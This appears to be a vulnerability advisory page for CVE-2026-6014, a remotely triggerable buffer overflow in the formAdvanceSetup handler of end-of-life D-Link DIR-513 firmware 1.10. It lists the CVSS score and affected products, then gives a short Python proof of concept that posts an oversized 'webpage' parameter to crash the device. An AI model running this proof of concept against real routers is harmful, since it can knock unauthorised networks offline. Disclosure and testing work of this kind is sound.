Security Vulnerability Report
中文
CVE-2026-6014 CVSS 8.8 HIGH

CVE-2026-6014

Published: 2026-04-10 05:16:08
Last Modified: 2026-04-30 14:05:22

Description

A flaw has been found in D-Link DIR-513 1.10. This issue affects the function formAdvanceSetup of the file /goform/formAdvanceSetup of the component POST Request Handler. This manipulation of the argument webpage causes buffer overflow. It is possible to initiate the attack remotely. The exploit has been published and may be used. This vulnerability only affects products that are no longer supported by the maintainer.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:dlink:dir-513_firmware:1.10:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:dir-513:a2:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DIR-513 1.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-6014 Proof of Concept # Target: D-Link DIR-513 1.10 # Endpoint: /goform/formAdvanceSetup target_ip = "192.168.0.1" url = f"http://{target_ip}/goform/formAdvanceSetup" # Malicious payload to trigger buffer overflow in 'webpage' parameter # Buffer size may vary, adjust length accordingly payload = { "webpage": "A" * 500 # Overflow trigger } try: print(f"Sending exploit request to {url}...") response = requests.post(url, data=payload, timeout=5) print(f"Response status code: {response.status_code}") # If the device crashes, no response or a timeout may occur except requests.exceptions.Timeout: print("Request timed out. Potential successful crash.") except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
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